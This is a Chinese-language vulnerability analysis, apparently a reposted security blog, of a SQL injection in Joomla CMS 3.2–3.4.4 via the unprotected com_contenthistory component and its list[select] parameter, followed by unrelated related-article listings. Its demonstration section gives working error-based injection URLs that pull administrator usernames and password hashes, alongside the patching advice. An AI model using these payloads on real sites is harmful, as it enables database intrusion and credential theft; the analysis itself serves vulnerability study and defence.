RickGray · 2015/10/26 11:24

昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。

0x01 原理分析


在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中:

#!php
<?php
defined('_JEXEC') or die; $lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
|| $lang->load('com_contenthistory', JPATH_SITE, null, false, true); require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
复制代码

可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/下的组件) 都会进行组件对应的权限检查,例如后台中的 com_contact 组件

#!php
if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}
复制代码

但是,程序在处理 contenthistory 组件时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php,其内容如下:

#!php
<?php
defined('_JEXEC') or die; $controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
复制代码

程序初始化基于 contenthistory 组件的控制类 JControllerLegacy,然后直接调用控制类的 execute() 方法,在 execute() 方法中,会调用其控制类中的 display(),代码位于 /libraries/legacy/controller/legacy.php:

#!php
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); // Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
(...省略...)
if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
{ (...省略...) }
else
{
$view->display();
} return $this;
}
复制代码

处理程序从传递的参数中获取 view 和 layout 的参数值进行初始化视图,并且调用 $model = $this->getModel($viewName) 加载对应数据模型,最终会调用 $view->display() 函数进行视图处理。

Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时,会进入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函数:

#!php
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true); // Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id')) // Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id'); // Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn); return $query;
}
复制代码

注意下面这段SQL语句构造部分:

#!php
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
复制代码

其中 getState() 函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php:

#!php
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState(); // Set the model state set flag to true.
$this->__state_set = true;
} return $property === null ? $this->state : $this->state->get($property, $default);
}
复制代码

然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数,在 contenthistory 组建中定义有自己的 populateState() 函数:

#!php
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// List state information.
parent::populateState('h.save_date', 'DESC');
}
复制代码

函数最后,会调用父类的 populateState() 函数,因为该数据模型继承于 JModelList,所以父类相关代码位于 /libraries/legacy/model/list.php 中,而在父类该函数的处理中会解析请求中传递的 list[] 参数,解析并过滤预设键的值,但是却忽略了 list[select]:

#!php
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
(...省略...)
case 'ordering':
(...省略...)
case 'direction':
(...省略...)
case 'limit':
(...省略...)
default:
$value = $value;
break;
} $this->setState('list.' . $name, $value);
}
}
(...省略...)
复制代码

而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里,从而导致了注入。

0x02 漏洞演示


通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory 组件访问不受权限的控制,并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。

1.漏洞验证

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因为在进行 SQL 语句拼接的时候,获取了 list.ordering 进行数据查询中的 order 操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php 的 quoteName() 函数中。

因此,访问上述构造的URL,服务器会报错:

2.漏洞利用

因为在 SQL 语句拼接时,程序框架针对每个 from 或者 where 操作进行了换行处理,所以这里并不能使用 #、-- 等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_id 和 type_id 参数值必须于数据库中有效,同时传递 list[ordering] 参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。

这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。

(Tips:Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)

下面是获取用户名/密码哈希的漏洞演示过程:

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

0x03 修复方案


  1. 从 github.com/joomla/joom… 获取最新版本进行重新安装;
  2. 从 github.com/joomla/joom… 下载相应版本的补丁程序进行升级;

0x04 总结


就 Joomla CMS 的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory 组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。

0x05 参考

原文地址:blog.knownsec.com/2015/10/joo…

Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析的更多相关文章

  1. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  2. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  3. DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入

    0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...

  4. 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析

      0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...

  5. 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析

      0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...

  6. 【代码审计】大米CMS_V5.5.3 SQL注入漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  7. 【代码审计】iZhanCMS_v2.1 前台IndexController.php页面存在SQL注入 漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  8. 【代码审计】iZhanCMS_v2.1 前台GoodsController.php页面存在SQL注入漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  9. 【代码审计】iZhanCMS_v2.1 后台存在多个SQL注入漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. 一起了解 .Net Foundation 项目 No.23

    .Net 基金会中包含有很多优秀的项目,今天就和笔者一起了解一下其中的一些优秀作品吧. 中文介绍 中文介绍内容翻译自英文介绍,主要采用意译.如与原文存在出入,请以原文为准. WorldWide Tel ...

  2. go 基础安装

    一.安装: 1.下载GO的地址:https://golang.org/dl/ 点击安装包进行安装(linux直接解压) 设置环境变量(linux) 1. export GOROOT=$PATH:/pa ...

  3. foreach-- for循环的增强型:for(类型 变量 : 数组对象) { 使用变量 }

    /* * foreach:增强for循环,一般用于遍历集合或者数组 * 格式: * for(元素的类型 变量 : 集合或者数组对象) { * 可以直接使用变量; * } 注意:在增强for循环中不能修 ...

  4. 通过Java HTTP连接将网络图片下载到本地

    通过Java HTTP连接将网络图片下载到本地   只知道浏览器使用的是HTTP协议,那么如何将网络资源使用JavaHTTP下载下来呢! 这只是一个非常简单的小示例,只是不想每次碰到关于此方面的内容忘 ...

  5. Java课程设计之——Web前端

    主要使用的技术 Javascript/JQuery html css Jsp 前期调查 能看到的网页大致可以分为两个部分,一个是搜索的首页index.html,一个是搜索结果页/s index.htm ...

  6. jquery 延迟执行方法

    setTimeout方法使用时需注意: //以下两种方式都行: setTimeout(function () { test(); }, ); //或者 setTimeout(); function t ...

  7. 掉了10根头发都无法解决的数学题,python帮你完美解答

    本来这个周末过得开开心心,结果为了解一道数学题薅掉了一把头发...整整10根! 而且还是一道小学数学题!!! 到底是什么题呢?大家看看吧 这不就是一道逻辑题嘛! 先假如丁错,则甲乙丙对,此时最小的ab ...

  8. Python语法详解

    python语法解析 目录 python语法解析 一.顺序结构 二.分支结构 2.1 if 的基本语法 2.2 if 的基本应用 三.循环结构 3.1 while 语法 3.1.1 语法结束条件 3. ...

  9. Performance standard (ALPHA release) 12/17/2015

    ===================ALPHA RELEASE STANDARD====================== 1. Parallel performance test: The Nu ...

  10. F - Pearls HDU - 1300

    简单dp. 题目大意:有n种珍珠,这n种珍珠有不同的需求量,不同的价格,价格越高,质量越高,在购买每一种珍珠时,都需要在原来的基础上多买10个.也就是说如果需要买x种珍珠,那就要付x+10个的钱.每一 ...